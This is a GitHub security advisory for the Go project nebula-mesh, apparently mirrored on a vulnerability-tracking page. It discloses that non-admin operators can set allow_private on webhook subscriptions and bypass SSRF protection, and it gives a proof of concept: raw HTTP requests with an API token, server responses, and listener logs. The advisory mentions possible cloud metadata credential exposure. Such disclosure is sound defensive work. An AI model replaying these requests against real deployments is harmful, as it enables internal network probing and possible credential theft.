GHSA-7RX3-5WX3-5V76

Vulnerability from github – Published: 2026-07-14 20:28 – Updated: 2026-07-14 20:28
VLAI
Summary
Nebula-mesh allows non-admin operators to disable webhook SSRF protection via `allow_private`
Details

Summary

Non-admin operators (role user) can set allow_private: true on their own managed webhook subscription (POST/PATCH /api/v1/webhook-subscriptions). No admin check exists on this field. At delivery time, allow_private switches the dispatcher to an unguarded HTTP client, bypassing the private/loopback/link-local SSRF guard — letting a low-privilege operator make the server request internal addresses.

Details

internal/api/webhooks.go:67 (handleCreateWebhookSubscription) and :110 (handleUpdateWebhookSubscription) persist operator-supplied AllowPrivate with no role check — only ownership is enforced (canAccessWebhookSub), and that's not even called on create.

internal/webhook/webhook.go:294-296:

client := d.guarded
if tgt.AllowPrivate {
    client = d.unguarded
}

d.unguarded skips the loopback/private/link-local rejection config.ValidateWebhookURL otherwise enforces.

Every other tenant-impacting toggle (network create internal/api/networks.go:21, settings PATCH internal/api/settings.go:36, CA management) gates on isActiveAdmin. allow_private is the exception — introduced with managed webhook subscriptions (PR #258) and missed by the two prior fixes for the same authz-gap class in this repo (GHSA-598g-h2vc-h5vg, GHSA-c6v2-3ffm-vcmc).

PoC

Verified live against a real running instance of nebula-mesh (HEAD 2c3457c, built and run locally, no third-party requests made — the "internal service" below is a loopback listener standing in for one). Setup: nebula-mgmt init + serve on 127.0.0.1:8181; admin CLI creates operator lowpriv with -role user and mints it an API key (d984bb...c7c) — the routine, legitimate way any non-admin operator gets access. lowpriv self-mints its own CA (POST /api/v1/cas, allowed for any operator) and creates a host on a network scoped to that CA, so it owns something it can legitimately act on.

Step 1 — create-side bypass, as the non-admin lowpriv operator:

POST /api/v1/webhook-subscriptions HTTP/1.1
Authorization: Bearer d984bbe6680a9b3f57def0caf8556466e502d35c8c287bd2f1fd6938fcda2e7c
Content-Type: application/json

{"url":"http://127.0.0.1:9999/internal-admin","allow_private":true,"events":["host.enrolled"]}

Actual response:

HTTP/1.1 201 Created

{"id":"bcad45e0-acc5-47ac-bb48-c4fc66959e50","owner_operator_id":"a4ec02d3-c7ae-412d-a2ff-567d36315191","url":"http://127.0.0.1:9999/internal-admin","events":["host.enrolled"],"active":true,"allow_private":true,"has_secret":false,"consecutive_failures":0,"created_at":"2026-07-01T13:38:22.637847+07:00","updated_at":"2026-07-01T13:38:22.637847+07:00"}

201 Created, allow_private:true persisted, owner_operator_id is the non-admin lowpriv account (role: "user"). No 403 Forbidden — which is what every comparable admin-gated endpoint (POST /api/v1/networks, PATCH /api/v1/settings) returns for this same non-admin key.

Control — same non-admin key, same target, allow_private omitted (defaults false):

POST /api/v1/webhook-subscriptions HTTP/1.1
Authorization: Bearer d984bbe6680a9b3f57def0caf8556466e502d35c8c287bd2f1fd6938fcda2e7c
Content-Type: application/json

{"url":"http://127.0.0.1:9999/internal-admin","allow_private":false}
HTTP/1.1 400 Bad Request

{"error":"url: \"127.0.0.1\" is a private/loopback/link-local address; allow it explicitly only for an intentional internal sink"}

Confirms the guard is real and active for this exact target — allow_private:true in Step 1 is what disabled it.

Step 2 — delivery-side SSRF. A Python http.server listener bound 127.0.0.1:9999, logging every request it receives. lowpriv fires a host-lifecycle event on the host it owns:

POST /api/v1/hosts/48103bac-66e9-43bd-9211-8d574e0877e9/unblock HTTP/1.1
Authorization: Bearer d984bbe6680a9b3f57def0caf8556466e502d35c8c287bd2f1fd6938fcda2e7c
POST /api/v1/hosts/48103bac-66e9-43bd-9211-8d574e0877e9/block HTTP/1.1
Authorization: Bearer d984bbe6680a9b3f57def0caf8556466e502d35c8c287bd2f1fd6938fcda2e7c

Both returned 200 OK. The listener received, in real time, two outbound POSTs from the nebula-mesh server itself:

RECEIVED: /internal-admin {"id":"evt_99c1902b-78f1-4e71-bd3d-a5586172c1e6","type":"host.unblocked","created_at":"2026-07-01T06:42:11.5305Z","data":{"ca_id":"74cb77b9-2adf-499c-b1d6-707b49486a7e","host_id":"48103bac-66e9-43bd-9211-8d574e0877e9","host_name":"poc-host","network_id":"eacf739f-f57d-4cbc-b391-2a0996c72b98"}}
RECEIVED: /internal-admin {"id":"evt_7e411cf3-8fc0-4816-a7fe-52b623feef1c","type":"host.blocked","created_at":"2026-07-01T06:42:11.543246Z","data":{"ca_id":"74cb77b9-2adf-499c-b1d6-707b49486a7e","host_id":"48103bac-66e9-43bd-9211-8d574e0877e9","host_name":"poc-host","network_id":"eacf739f-f57d-4cbc-b391-2a0996c72b98"}}

Same result holds for host.enrolled — any lifecycle event the operator can cause on a resource they own routes through the same dispatcher code path.

Step 3 — reachability oracle:

GET /api/v1/webhook-subscriptions/bcad45e0-acc5-47ac-bb48-c4fc66959e50 HTTP/1.1
Authorization: Bearer d984bbe6680a9b3f57def0caf8556466e502d35c8c287bd2f1fd6938fcda2e7c
HTTP/1.1 200 OK

{"id":"bcad45e0-acc5-47ac-bb48-c4fc66959e50", ... ,"last_delivery_at":"2026-07-01T13:42:11.544244+07:00","last_status":"ok","consecutive_failures":0, ...}

last_status/last_error confirm delivery outcome and, on failure, the dial/connection error string — a reachability oracle over internal addresses. The dispatcher's delivery-recording path stores success/failure and error text only, never the target's response body.

Impact

A non-admin operator gains server-side request capability against internal-only/loopback addresses, outside the admin boundary the codebase enforces everywhere else. Enables internal reachability probing and blind POST interaction with internal services. May expose cloud IAM credentials on deployments where the metadata service accepts unauthenticated/IMDSv1-style requests — conditional on target config, not guaranteed (IMDSv2's token requirement would block it).

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.7.1"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/forgekeep/nebula-mesh"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.6.0"
            },
            {
              "fixed": "0.7.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-862",
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-14T20:28:42Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\n\nNon-admin operators (role `user`) can set `allow_private: true` on their own managed webhook subscription (`POST`/`PATCH /api/v1/webhook-subscriptions`). No admin check exists on this field. At delivery time, `allow_private` switches the dispatcher to an unguarded HTTP client, bypassing the private/loopback/link-local SSRF guard \u2014 letting a low-privilege operator make the server request internal addresses.\n\n### Details\n\n`internal/api/webhooks.go:67` (`handleCreateWebhookSubscription`) and `:110` (`handleUpdateWebhookSubscription`) persist operator-supplied `AllowPrivate` with no role check \u2014 only ownership is enforced (`canAccessWebhookSub`), and that\u0027s not even called on create.\n\n`internal/webhook/webhook.go:294-296`:\n```go\nclient := d.guarded\nif tgt.AllowPrivate {\n    client = d.unguarded\n}\n```\n`d.unguarded` skips the loopback/private/link-local rejection `config.ValidateWebhookURL` otherwise enforces.\n\nEvery other tenant-impacting toggle (network create `internal/api/networks.go:21`, settings PATCH `internal/api/settings.go:36`, CA management) gates on `isActiveAdmin`. `allow_private` is the exception \u2014 introduced with managed webhook subscriptions (PR #258) and missed by the two prior fixes for the same authz-gap class in this repo (GHSA-598g-h2vc-h5vg, GHSA-c6v2-3ffm-vcmc).\n\n### PoC\n\nVerified live against a real running instance of nebula-mesh (HEAD `2c3457c`, built and run locally, no third-party requests made \u2014 the \"internal service\" below is a loopback listener standing in for one). Setup: `nebula-mgmt init` + `serve` on `127.0.0.1:8181`; admin CLI creates operator `lowpriv` with `-role user` and mints it an API key (`d984bb...c7c`) \u2014 the routine, legitimate way any non-admin operator gets access. `lowpriv` self-mints its own CA (`POST /api/v1/cas`, allowed for any operator) and creates a host on a network scoped to that CA, so it owns something it can legitimately act on.\n\n**Step 1 \u2014 create-side bypass, as the non-admin `lowpriv` operator:**\n\n```\nPOST /api/v1/webhook-subscriptions HTTP/1.1\nAuthorization: Bearer d984bbe6680a9b3f57def0caf8556466e502d35c8c287bd2f1fd6938fcda2e7c\nContent-Type: application/json\n\n{\"url\":\"http://127.0.0.1:9999/internal-admin\",\"allow_private\":true,\"events\":[\"host.enrolled\"]}\n```\n\nActual response:\n\n```\nHTTP/1.1 201 Created\n\n{\"id\":\"bcad45e0-acc5-47ac-bb48-c4fc66959e50\",\"owner_operator_id\":\"a4ec02d3-c7ae-412d-a2ff-567d36315191\",\"url\":\"http://127.0.0.1:9999/internal-admin\",\"events\":[\"host.enrolled\"],\"active\":true,\"allow_private\":true,\"has_secret\":false,\"consecutive_failures\":0,\"created_at\":\"2026-07-01T13:38:22.637847+07:00\",\"updated_at\":\"2026-07-01T13:38:22.637847+07:00\"}\n```\n\n`201 Created`, `allow_private:true` persisted, `owner_operator_id` is the non-admin `lowpriv` account (`role: \"user\"`). No `403 Forbidden` \u2014 which is what every comparable admin-gated endpoint (`POST /api/v1/networks`, `PATCH /api/v1/settings`) returns for this same non-admin key.\n\n**Control \u2014 same non-admin key, same target, `allow_private` omitted (defaults false):**\n\n```\nPOST /api/v1/webhook-subscriptions HTTP/1.1\nAuthorization: Bearer d984bbe6680a9b3f57def0caf8556466e502d35c8c287bd2f1fd6938fcda2e7c\nContent-Type: application/json\n\n{\"url\":\"http://127.0.0.1:9999/internal-admin\",\"allow_private\":false}\n```\n\n```\nHTTP/1.1 400 Bad Request\n\n{\"error\":\"url: \\\"127.0.0.1\\\" is a private/loopback/link-local address; allow it explicitly only for an intentional internal sink\"}\n```\n\nConfirms the guard is real and active for this exact target \u2014 `allow_private:true` in Step 1 is what disabled it.\n\n**Step 2 \u2014 delivery-side SSRF.** A Python `http.server` listener bound `127.0.0.1:9999`, logging every request it receives. `lowpriv` fires a host-lifecycle event on the host it owns:\n\n```\nPOST /api/v1/hosts/48103bac-66e9-43bd-9211-8d574e0877e9/unblock HTTP/1.1\nAuthorization: Bearer d984bbe6680a9b3f57def0caf8556466e502d35c8c287bd2f1fd6938fcda2e7c\n```\n```\nPOST /api/v1/hosts/48103bac-66e9-43bd-9211-8d574e0877e9/block HTTP/1.1\nAuthorization: Bearer d984bbe6680a9b3f57def0caf8556466e502d35c8c287bd2f1fd6938fcda2e7c\n```\n\nBoth returned `200 OK`. The listener received, in real time, two outbound POSTs from the nebula-mesh server itself:\n\n```\nRECEIVED: /internal-admin {\"id\":\"evt_99c1902b-78f1-4e71-bd3d-a5586172c1e6\",\"type\":\"host.unblocked\",\"created_at\":\"2026-07-01T06:42:11.5305Z\",\"data\":{\"ca_id\":\"74cb77b9-2adf-499c-b1d6-707b49486a7e\",\"host_id\":\"48103bac-66e9-43bd-9211-8d574e0877e9\",\"host_name\":\"poc-host\",\"network_id\":\"eacf739f-f57d-4cbc-b391-2a0996c72b98\"}}\nRECEIVED: /internal-admin {\"id\":\"evt_7e411cf3-8fc0-4816-a7fe-52b623feef1c\",\"type\":\"host.blocked\",\"created_at\":\"2026-07-01T06:42:11.543246Z\",\"data\":{\"ca_id\":\"74cb77b9-2adf-499c-b1d6-707b49486a7e\",\"host_id\":\"48103bac-66e9-43bd-9211-8d574e0877e9\",\"host_name\":\"poc-host\",\"network_id\":\"eacf739f-f57d-4cbc-b391-2a0996c72b98\"}}\n```\n\nSame result holds for `host.enrolled` \u2014 any lifecycle event the operator can cause on a resource they own routes through the same dispatcher code path.\n\n**Step 3 \u2014 reachability oracle:**\n\n```\nGET /api/v1/webhook-subscriptions/bcad45e0-acc5-47ac-bb48-c4fc66959e50 HTTP/1.1\nAuthorization: Bearer d984bbe6680a9b3f57def0caf8556466e502d35c8c287bd2f1fd6938fcda2e7c\n```\n\n```\nHTTP/1.1 200 OK\n\n{\"id\":\"bcad45e0-acc5-47ac-bb48-c4fc66959e50\", ... ,\"last_delivery_at\":\"2026-07-01T13:42:11.544244+07:00\",\"last_status\":\"ok\",\"consecutive_failures\":0, ...}\n```\n\n`last_status`/`last_error` confirm delivery outcome and, on failure, the dial/connection error string \u2014 a reachability oracle over internal addresses. The dispatcher\u0027s delivery-recording path stores success/failure and error text only, never the target\u0027s response body.\n\n### Impact\n\nA non-admin operator gains server-side request capability against internal-only/loopback addresses, outside the admin boundary the codebase enforces everywhere else. Enables internal reachability probing and blind POST interaction with internal services. May expose cloud IAM credentials on deployments where the metadata service accepts unauthenticated/IMDSv1-style requests \u2014 conditional on target config, not guaranteed (IMDSv2\u0027s token requirement would block it).",
  "id": "GHSA-7rx3-5wx3-5v76",
  "modified": "2026-07-14T20:28:42Z",
  "published": "2026-07-14T20:28:42Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/forgekeep/nebula-mesh/security/advisories/GHSA-7rx3-5wx3-5v76"
    },
    {
      "type": "WEB",
      "url": "https://github.com/forgekeep/nebula-mesh/commit/f3c54530e388dd21763e548923426e60a8e93ff0"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/forgekeep/nebula-mesh"
    },
    {
      "type": "WEB",
      "url": "https://github.com/forgekeep/nebula-mesh/releases/tag/v0.7.2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Nebula-mesh allows non-admin operators to disable webhook SSRF protection via `allow_private`"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…